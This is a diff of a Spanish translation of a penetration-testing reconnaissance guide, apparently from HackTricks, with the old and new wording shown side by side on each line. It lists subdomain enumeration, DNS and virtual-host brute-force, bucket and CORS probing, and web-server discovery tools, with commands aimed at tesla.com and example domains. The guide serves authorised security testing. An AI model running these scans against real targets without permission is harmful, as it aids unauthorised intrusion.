**Assetfinder** **Assetfinder**
[**Assetfinder** ](https://github.com/tomnomnom/assetfinder) es una herramienta que busca **dominios relacionados** con un dominio principal y **subdominios** de estos, bastante sorprendente. [**Assetfinder**](https://github.com/tomnomnom/assetfinder) es una herramienta que busca **dominios relacionados** con un dominio principal y **subdominios** de ellos, bastante asombroso.
### **Buscando vulnerabilidades** ### **Buscando vulnerabilidades**
Revisa si hay algún [secuestro de dominio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Tal vez alguna empresa esté **utilizando un dominio** pero **perdió la propiedad**. Simplemente regístralo (si es lo suficientemente barato) y hazle saber a la empresa. Verifica algún [toma de dominio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Tal vez alguna empresa esté **usando algún dominio** pero **perdió la propiedad**. Simplemente regístralo (si es lo suficientemente barato) y avísale a la empresa.
Si encuentras algún **dominio con una IP diferente** de las que ya encontraste en el descubrimiento de activos, deberías realizar un **escaneo de vulnerabilidades básico** (usando Nessus o OpenVAS) y un [**escaneo de puertos**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. Dependiendo de los servicios que se estén ejecutando, puedes encontrar en **este libro algunos trucos para "atacarlos"**.\ Si encuentras algún **dominio con una IP diferente** de las que ya encontraste en el descubrimiento de activos, deberías realizar un **escaneo básico de vulnerabilidades** (usando Nessus u OpenVAS) y algún [**escaneo de puertos**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. Dependiendo de qué servicios estén en funcionamiento, puedes encontrar en **este libro algunos trucos para "atacarlos"**.\
_Ten en cuenta que a veces el dominio está alojado dentro de una IP que no es controlada por el cliente, por lo que no está dentro del alcance, ten cuidado._ _Ten en cuenta que a veces el dominio está alojado dentro de una IP que no es controlada por el cliente, por lo que no está en el alcance, ten cuidado._
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\ <img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**Consejo de recompensa por errores**: **Regístrate** en **Intigriti**, una plataforma de **recompensas por errores premium creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy y comienza a ganar recompensas de hasta **$100,000**! **Consejo de bug bounty**: **regístrate** en **Intigriti**, una plataforma premium de **bug bounty creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
@ -223,13 +220,13 @@ Es hora de encontrar todos los posibles subdominios de cada dominio encontrado.
### **DNS** ### **DNS**
Intentemos obtener **subdominios** de los registros de **DNS**. También deberíamos intentar la **Transferencia de Zona** (si es vulnerable, deberías informarlo). Intentemos obtener **subdominios** de los registros **DNS**. También deberíamos intentar una **Transferencia de Zona** (Si es vulnerable, deberías reportarlo).
```bash ```bash
dnsrecon -a -d tesla.com dnsrecon -a -d tesla.com
``` ```
### **OSINT** ### **OSINT**
La forma más rápida de obtener una gran cantidad de subdominios es buscar en fuentes externas. Las **herramientas** más utilizadas son las siguientes (para obtener mejores resultados, configure las claves de la API): La forma más rápida de obtener muchos subdominios es buscar en fuentes externas. Las **herramientas** más utilizadas son las siguientes (para mejores resultados, configura las claves de API):
* [**BBOT**](https://github.com/blacklanternsecurity/bbot) * [**BBOT**](https://github.com/blacklanternsecurity/bbot)
```bash ```bash
@ -278,7 +275,7 @@ vita -d tesla.com
```bash ```bash
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye" theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
``` ```
Hay **otras herramientas/APIs interesantes** que, aunque no estén directamente especializadas en encontrar subdominios, podrían ser útiles para encontrar subdominios, como: Hay **otras herramientas/APIs interesantes** que, aunque no están directamente especializadas en encontrar subdominios, podrían ser útiles para encontrarlos, como:
* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Utiliza la API [https://sonar.omnisint.io](https://sonar.omnisint.io) para obtener subdominios * [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Utiliza la API [https://sonar.omnisint.io](https://sonar.omnisint.io) para obtener subdominios
```bash ```bash
@ -286,11 +283,11 @@ Hay **otras herramientas/APIs interesantes** que, aunque no estén directamente
## This is the API the crobat tool will use ## This is the API the crobat tool will use
curl https://sonar.omnisint.io/subdomains/tesla.com | jq -r ".[]" curl https://sonar.omnisint.io/subdomains/tesla.com | jq -r ".[]"
``` ```
* [**API gratuito de JLDC**](https://jldc.me/anubis/subdomains/google.com) * [**JLDC free API**](https://jldc.me/anubis/subdomains/google.com)
```bash ```bash
curl https://jldc.me/anubis/subdomains/tesla.com | jq -r ".[]" curl https://jldc.me/anubis/subdomains/tesla.com | jq -r ".[]"
``` ```
* [**RapidDNS**](https://rapiddns.io) API gratuito * [**RapidDNS**](https://rapiddns.io) API gratuita
```bash ```bash
# Get Domains from rapiddns free API # Get Domains from rapiddns free API
rapiddns(){ rapiddns(){
@ -310,12 +307,12 @@ curl -s "https://crt.sh/?q=%25.$1" \
} }
crt tesla.com crt tesla.com
``` ```
* [**gau**](https://github.com/lc/gau)**:** obtiene URLs conocidas de AlienVault's Open Threat Exchange, la Wayback Machine y Common Crawl para cualquier dominio dado. * [**gau**](https://github.com/lc/gau)**:** recupera URLs conocidas de Open Threat Exchange de AlienVault, la Wayback Machine y Common Crawl para cualquier dominio dado.
```bash ```bash
# Get subdomains from GAUs found URLs # Get subdomains from GAUs found URLs
gau --subs tesla.com | cut -d "/" -f 3 | sort -u gau --subs tesla.com | cut -d "/" -f 3 | sort -u
``` ```
* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Buscan en la web archivos JS y extraen subdominios de allí. * [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **y** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Buscan en la web archivos JS y extraen subdominios de allí.
```bash ```bash
# Get only subdomains from SubDomainizer # Get only subdomains from SubDomainizer
python3 SubDomainizer.py -u https://tesla.com | grep tesla.com python3 SubDomainizer.py -u https://tesla.com | grep tesla.com
@ -330,7 +327,7 @@ shodan domain <domain>
# Get other pages with links to subdomains # Get other pages with links to subdomains
shodan search "http.html:help.domain.com" shodan search "http.html:help.domain.com"
``` ```
* [**Buscador de subdominios de Censys**](https://github.com/christophetd/censys-subdomain-finder) * [**Censys subdomain finder**](https://github.com/christophetd/censys-subdomain-finder)
```bash ```bash
export CENSYS_API_ID=... export CENSYS_API_ID=...
export CENSYS_API_SECRET=... export CENSYS_API_SECRET=...
@ -343,13 +340,13 @@ python3 DomainTrail.py -d example.com
* [**securitytrails.com**](https://securitytrails.com/) tiene una API gratuita para buscar subdominios e historial de IP * [**securitytrails.com**](https://securitytrails.com/) tiene una API gratuita para buscar subdominios e historial de IP
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/) * [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
Este proyecto ofrece de forma **gratuita todos los subdominios relacionados con programas de recompensas por errores**. Puedes acceder a estos datos también utilizando [chaospy](https://github.com/dr-0x0x/chaospy) o incluso acceder al alcance utilizado por este proyecto [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) Este proyecto ofrece **gratis todos los subdominios relacionados con programas de recompensas por errores**. También puedes acceder a estos datos usando [chaospy](https://github.com/dr-0x0x/chaospy) o incluso acceder al alcance utilizado por este proyecto [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
Puedes encontrar una **comparación** de muchas de estas herramientas aquí: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off) Puedes encontrar una **comparación** de muchas de estas herramientas aquí: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
### **Fuerza bruta de DNS** ### **Fuerza bruta DNS**
Intentemos encontrar nuevos **subdominios** forzando servidores DNS utilizando posibles nombres de subdominio. Intentemos encontrar nuevos **subdominios** forzando servidores DNS usando posibles nombres de subdominio.
Para esta acción necesitarás algunas **listas de palabras comunes de subdominios como**: Para esta acción necesitarás algunas **listas de palabras comunes de subdominios como**:
@ -359,21 +356,21 @@ Para esta acción necesitarás algunas **listas de palabras comunes de subdomini
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak) * [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS) * [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
Y también IPs de buenos resolutores de DNS. Para generar una lista de resolutores de DNS confiables, puedes descargar los resolutores de [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) y usar [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) para filtrarlos. O podrías usar: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) Y también IPs de buenos resolutores DNS. Para generar una lista de resolutores DNS de confianza, puedes descargar los resolutores de [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) y usar [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) para filtrarlos. O podrías usar: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
Las herramientas más recomendadas para la fuerza bruta de DNS son: Las herramientas más recomendadas para fuerza bruta DNS son:
* [**massdns**](https://github.com/blechschmidt/massdns): Esta fue la primera herramienta que realizó una fuerza bruta de DNS efectiva. Es muy rápida, sin embargo, es propensa a falsos positivos. * [**massdns**](https://github.com/blechschmidt/massdns): Esta fue la primera herramienta que realizó una fuerza bruta DNS efectiva. Es muy rápida, sin embargo, es propensa a falsos positivos.
```bash ```bash
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt ./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
``` ```
* [**gobuster**](https://github.com/OJ/gobuster): Creo que este solo utiliza 1 resolutor * [**gobuster**](https://github.com/OJ/gobuster): Este creo que solo usa 1 resolutor
``` ```
gobuster dns -d mysite.com -t 50 -w subdomains.txt gobuster dns -d mysite.com -t 50 -w subdomains.txt
``` ```
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) es un envoltorio alrededor de `massdns`, escrito en go, que te permite enumerar subdominios válidos utilizando fuerza bruta activa, así como resolver subdominios con manejo de comodines y soporte fácil de entrada y salida. * [**shuffledns**](https://github.com/projectdiscovery/shuffledns) es un envoltorio alrededor de `massdns`, escrito en go, que te permite enumerar subdominios válidos utilizando un ataque de fuerza bruta activa, así como resolver subdominios con manejo de comodines y soporte fácil de entrada-salida.
``` ```
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
``` ```
@ -381,55 +378,55 @@ shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
``` ```
puredns bruteforce all.txt domain.com puredns bruteforce all.txt domain.com
``` ```
* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) utiliza asyncio para forzar de forma bruta nombres de dominio de manera asíncrona. * [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) utiliza asyncio para forzar nombres de dominio de manera asíncrona.
``` ```
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
``` ```
### Segunda Ronda de Fuerza Bruta en DNS ### Segunda Ronda de Fuerza Bruta DNS
Después de haber encontrado subdominios utilizando fuentes abiertas y fuerza bruta, podrías generar alteraciones de los subdominios encontrados para intentar encontrar aún más. Varios herramientas son útiles para este propósito: Después de haber encontrado subdominios utilizando fuentes abiertas y fuerza bruta, podrías generar alteraciones de los subdominios encontrados para intentar encontrar aún más. Varios herramientas son útiles para este propósito:
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Dado los dominios y subdominios, genera permutaciones. * [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Dadas las dominios y subdominios, genera permutaciones.
```bash ```bash
cat subdomains.txt | dnsgen - cat subdomains.txt | dnsgen -
``` ```
* [**goaltdns**](https://github.com/subfinder/goaltdns): Dado los dominios y subdominios generar permutaciones. * [**goaltdns**](https://github.com/subfinder/goaltdns): Dado los dominios y subdominios, genera permutaciones.
* Puedes obtener la lista de permutaciones de goaltdns **wordlist** [**aquí**](https://github.com/subfinder/goaltdns/blob/master/words.txt). * Puedes obtener la **wordlist** de permutaciones de goaltdns **aquí** [**here**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
```bash ```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
``` ```
* [**gotator**](https://github.com/Josue87/gotator)**:** Dado los dominios y subdominios, genera permutaciones. Si no se indica un archivo de permutaciones, gotator usará el suyo propio. * [**gotator**](https://github.com/Josue87/gotator)**:** Dado los dominios y subdominios, genera permutaciones. Si no se indica un archivo de permutaciones, gotator usará uno propio.
``` ```
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
``` ```
* [**altdns**](https://github.com/infosec-au/altdns): Aparte de generar permutaciones de subdominios, también puede intentar resolverlos (pero es mejor usar las herramientas comentadas anteriormente). * [**altdns**](https://github.com/infosec-au/altdns): Aparte de generar permutaciones de subdominios, también puede intentar resolverlos (pero es mejor usar las herramientas comentadas anteriormente).
* Puedes obtener la lista de palabras de permutaciones de altdns **aquí**](https://github.com/infosec-au/altdns/blob/master/words.txt). * Puedes obtener las permutaciones de altdns **wordlist** en [**aquí**](https://github.com/infosec-au/altdns/blob/master/words.txt).
``` ```
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
``` ```
* [**dmut**](https://github.com/bp0lr/dmut): Otra herramienta para realizar permutaciones, mutaciones y alteraciones de subdominios. Esta herramienta realizará fuerza bruta en el resultado (no admite comodines de DNS). * [**dmut**](https://github.com/bp0lr/dmut): Otra herramienta para realizar permutaciones, mutaciones y alteraciones de subdominios. Esta herramienta realizará un ataque de fuerza bruta al resultado (no soporta comodines DNS).
* Puedes obtener la lista de palabras de permutaciones de dmut [**aquí**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt). * Puedes obtener la lista de palabras de permutaciones de dmut [**aquí**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt).
```bash ```bash
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt --dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
``` ```
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Basado en un dominio, **genera nuevos posibles nombres de subdominios** basados en patrones indicados para intentar descubrir más subdominios. * [**alterx**](https://github.com/projectdiscovery/alterx)**:** Basado en un dominio, **genera nuevos nombres de subdominios potenciales** basados en patrones indicados para intentar descubrir más subdominios.
#### Generación inteligente de permutaciones #### Generación de permutaciones inteligentes
* [**regulator**](https://github.com/cramppet/regulator): Para más información, lee este [**post**](https://cramppet.github.io/regulator/index.html) pero básicamente obtendrá las **partes principales** de los **subdominios descubiertos** y las mezclará para encontrar más subdominios. * [**regulator**](https://github.com/cramppet/regulator): Para más información, lee este [**post**](https://cramppet.github.io/regulator/index.html), pero básicamente obtendrá las **partes principales** de los **subdominios descubiertos** y las mezclará para encontrar más subdominios.
```bash ```bash
python3 main.py adobe.com adobe adobe.rules python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid puredns resolve adobe.brute --write adobe.valid
``` ```
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ es un fuzzer de fuerza bruta de subdominios acoplado con un algoritmo inmensamente simple pero efectivo guiado por respuestas de DNS. Utiliza un conjunto de datos de entrada proporcionados, como una lista de palabras personalizada o registros históricos de DNS/TLS, para sintetizar con precisión más nombres de dominio correspondientes y expandirlos aún más en un bucle basado en la información recopilada durante el escaneo de DNS. * [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ es un fuzzer de fuerza bruta de subdominios acoplado con un algoritmo guiado por respuestas DNS inmensamente simple pero efectivo. Utiliza un conjunto de datos de entrada proporcionado, como una lista de palabras personalizada o registros DNS/TLS históricos, para sintetizar con precisión más nombres de dominio correspondientes y expandirlos aún más en un bucle basado en la información recopilada durante el escaneo DNS.
``` ```
echo www | subzuf facebook.com echo www | subzuf facebook.com
``` ```
### **Flujo de trabajo de descubrimiento de subdominios** ### **Flujo de Trabajo de Descubrimiento de Subdominios**
Revisa este artículo que escribí sobre cómo **automatizar el descubrimiento de subdominios** de un dominio utilizando **flujos de trabajo de Trickest** para no tener que lanzar manualmente un montón de herramientas en mi computadora: Consulta esta publicación de blog que escribí sobre cómo **automatizar el descubrimiento de subdominios** de un dominio utilizando **flujos de trabajo de Trickest** para no tener que lanzar manualmente un montón de herramientas en mi computadora:
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %} {% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %}
@ -437,11 +434,11 @@ Revisa este artículo que escribí sobre cómo **automatizar el descubrimiento d
### **VHosts / Hosts Virtuales** ### **VHosts / Hosts Virtuales**
Si encuentras una dirección IP que contiene **una o varias páginas web** pertenecientes a subdominios, podrías intentar **encontrar otros subdominios con sitios web en esa IP** buscando en **fuentes de OSINT** para dominios en una IP o mediante **fuerza bruta en los nombres de dominio VHost en esa IP**. Si encontraste una dirección IP que contiene **una o varias páginas web** pertenecientes a subdominios, podrías intentar **encontrar otros subdominios con webs en esa IP** buscando en **fuentes OSINT** para dominios en una IP o **forzando nombres de dominio VHost en esa IP**.
#### OSINT #### OSINT
Puedes encontrar algunos **VHosts en IPs utilizando** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **u otras APIs**. Puedes encontrar algunos **VHosts en IPs usando** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **u otras APIs**.
**Fuerza Bruta** **Fuerza Bruta**
@ -460,7 +457,7 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com
VHostScan -t example.com VHostScan -t example.com
``` ```
{% hint style="info" %} {% hint style="info" %}
Con esta técnica, incluso podrías ser capaz de acceder a endpoints internos/ocultos. Con esta técnica, incluso podrías acceder a puntos finales internos/ocultos.
{% endhint %} {% endhint %}
### **Fuerza Bruta de CORS** ### **Fuerza Bruta de CORS**
@ -469,37 +466,37 @@ A veces encontrarás páginas que solo devuelven el encabezado _**Access-Control
```bash ```bash
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
``` ```
### **Fuerza bruta en Buckets** ### **Fuerza Bruta de Buckets**
Mientras buscas **subdominios**, mantén un ojo para ver si está **apuntando** a algún tipo de **bucket**, y en ese caso [**verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ Mientras buscas **subdominios**, presta atención para ver si está **apuntando** a algún tipo de **bucket**, y en ese caso [**verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
Además, en este punto, al conocer todos los dominios dentro del alcance, intenta [**realizar fuerza bruta en posibles nombres de buckets y verificar los permisos**](../../network-services-pentesting/pentesting-web/buckets/). Además, como en este punto ya conocerás todos los dominios dentro del alcance, intenta [**fuerza bruta de posibles nombres de buckets y verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/).
### **Monitorización** ### **Monitorización**
Puedes **monitorizar** si se crean **nuevos subdominios** de un dominio al monitorear los **Logs de Transparencia de Certificados** que hace [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py). Puedes **monitorear** si se crean **nuevos subdominios** de un dominio monitoreando los **Registros de Transparencia de Certificados** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
### **Búsqueda de vulnerabilidades** ### **Buscando vulnerabilidades**
Verifica posibles [**apoderamientos de subdominios**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\ Verifica posibles [**tomas de control de subdominios**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
Si el **subdominio** apunta a algún **bucket S3**, [**verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/). Si el **subdominio** está apuntando a algún **bucket S3**, [**verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/).
Si encuentras algún **subdominio con una IP diferente** a las que ya encontraste en el descubrimiento de activos, debes realizar un **escaneo de vulnerabilidades básico** (usando Nessus u OpenVAS) y un [**escaneo de puertos**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. Dependiendo de los servicios que se estén ejecutando, puedes encontrar en **este libro algunos trucos para "atacarlos"**.\ Si encuentras algún **subdominio con una IP diferente** de las que ya encontraste en el descubrimiento de activos, deberías realizar un **escaneo básico de vulnerabilidades** (usando Nessus u OpenVAS) y algún [**escaneo de puertos**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. Dependiendo de qué servicios estén corriendo, puedes encontrar en **este libro algunos trucos para "atacarlos"**.\
_Ten en cuenta que a veces el subdominio está alojado dentro de una IP que no está controlada por el cliente, por lo que no está dentro del alcance, ten cuidado._ _Ten en cuenta que a veces el subdominio está alojado dentro de una IP que no es controlada por el cliente, así que no está en el alcance, ten cuidado._
## IPs ## IPs
En los pasos iniciales, es posible que hayas **encontrado algunos rangos de IP, dominios y subdominios**.\ En los pasos iniciales podrías haber **encontrado algunos rangos de IP, dominios y subdominios**.\
Es hora de **recopilar todas las IPs de esos rangos** y de los **dominios/subdominios (consultas DNS).** Es hora de **recolectar todas las IPs de esos rangos** y de los **dominios/subdominios (consultas DNS).**
Utilizando servicios de las siguientes **APIs gratuitas**, también puedes encontrar **IPs anteriores utilizadas por dominios y subdominios**. Estas IPs aún podrían ser propiedad del cliente (y podrían permitirte encontrar [**bypasses de CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)) Usando servicios de las siguientes **APIs gratuitas** también puedes encontrar **IPs anteriores utilizadas por dominios y subdominios**. Estas IPs podrían seguir siendo propiedad del cliente (y podrían permitirte encontrar [**bypass de CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
* [**https://securitytrails.com/**](https://securitytrails.com/) * [**https://securitytrails.com/**](https://securitytrails.com/)
También puedes verificar los dominios que apuntan a una dirección IP específica utilizando la herramienta [**hakip2host**](https://github.com/hakluke/hakip2host) También puedes verificar dominios que apuntan a una dirección IP específica usando la herramienta [**hakip2host**](https://github.com/hakluke/hakip2host)
### **Búsqueda de vulnerabilidades** ### **Buscando vulnerabilidades**
**Escanea los puertos de todas las IPs que no pertenecen a CDNs** (ya que es muy probable que no encuentres nada interesante allí). En los servicios en ejecución descubiertos, es posible que **encuentres vulnerabilidades**. **Escanea todos los puertos de las IPs que no pertenecen a CDNs** (ya que probablemente no encontrarás nada interesante allí). En los servicios en ejecución descubiertos podrías **encontrar vulnerabilidades**.
**Encuentra una** [**guía**](../pentesting-network/) **sobre cómo escanear hosts.** **Encuentra una** [**guía**](../pentesting-network/) **sobre cómo escanear hosts.**
@ -507,43 +504,43 @@ También puedes verificar los dominios que apuntan a una dirección IP específi
> Hemos encontrado todas las empresas y sus activos y conocemos los rangos de IP, dominios y subdominios dentro del alcance. Es hora de buscar servidores web. > Hemos encontrado todas las empresas y sus activos y conocemos los rangos de IP, dominios y subdominios dentro del alcance. Es hora de buscar servidores web.
En los pasos anteriores, probablemente ya hayas realizado algo de **reconocimiento de las IPs y dominios descubiertos**, por lo que es posible que ya hayas encontrado todos los posibles servidores web. Sin embargo, si no lo has hecho, ahora vamos a ver algunos **trucos rápidos para buscar servidores web** dentro del alcance. En los pasos anteriores probablemente ya hayas realizado algún **reconocimiento de las IPs y dominios descubiertos**, así que es posible que ya hayas **encontrado todos los posibles servidores web**. Sin embargo, si no lo has hecho, ahora vamos a ver algunos **trucos rápidos para buscar servidores web** dentro del alcance.
Ten en cuenta que esto estará **orientado a la búsqueda de aplicaciones web**, por lo que también debes **realizar el escaneo de vulnerabilidades** y **de puertos** también (**si está permitido** por el alcance). Por favor, ten en cuenta que esto estará **orientado a la descubrimiento de aplicaciones web**, así que deberías **realizar el escaneo de vulnerabilidades** y **escaneo de puertos** también (**si está permitido** por el alcance).
Un **método rápido** para descubrir **puertos abiertos** relacionados con **servidores web** utilizando [**masscan se puede encontrar aquí**](../pentesting-network/#http-port-discovery).\ Un **método rápido** para descubrir **puertos abiertos** relacionados con **servidores** web usando [**masscan** se puede encontrar aquí](../pentesting-network/#http-port-discovery).\
Otra herramienta útil para buscar servidores web es [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) y [**httpx**](https://github.com/projectdiscovery/httpx). Simplemente pasas una lista de dominios e intentará conectarse al puerto 80 (http) y 443 (https). Además, puedes indicar que intente otros puertos: Otra herramienta amigable para buscar servidores web es [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) y [**httpx**](https://github.com/projectdiscovery/httpx). Solo pasas una lista de dominios y tratará de conectarse al puerto 80 (http) y 443 (https). Además, puedes indicar que intente otros puertos:
```bash ```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443 cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443 cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
``` ```
### **Capturas de pantalla** ### **Capturas de pantalla**
Ahora que has descubierto **todos los servidores web** presentes en el alcance (entre las **IPs** de la empresa y todos los **dominios** y **subdominios**), probablemente **no sepas por dónde empezar**. Por lo tanto, hagámoslo simple y comencemos tomando capturas de pantalla de todos ellos. Solo con **echar un vistazo** a la **página principal** puedes encontrar **endpoints extraños** que son más **propensos** a ser **vulnerables**. Ahora que has descubierto **todos los servidores web** presentes en el alcance (entre las **IPs** de la empresa y todos los **dominios** y **subdominios**) probablemente **no sepas por dónde empezar**. Así que, hagámoslo simple y comencemos tomando capturas de pantalla de todos ellos. Solo con **echar un vistazo** a la **página principal** puedes encontrar **puntos finales extraños** que son más **propensos** a ser **vulnerables**.
Para llevar a cabo la idea propuesta, puedes usar [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) o [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.** Para llevar a cabo la idea propuesta puedes usar [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) o [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
Además, luego podrías usar [**eyeballer**](https://github.com/BishopFox/eyeballer) para revisar todas las **capturas de pantalla** y decirte **qué probablemente contiene vulnerabilidades** y qué no. Además, podrías usar [**eyeballer**](https://github.com/BishopFox/eyeballer) para revisar todas las **capturas de pantalla** y decirte **qué es probable que contenga vulnerabilidades**, y qué no.
## Activos en la Nube Pública ## Activos de Nube Pública
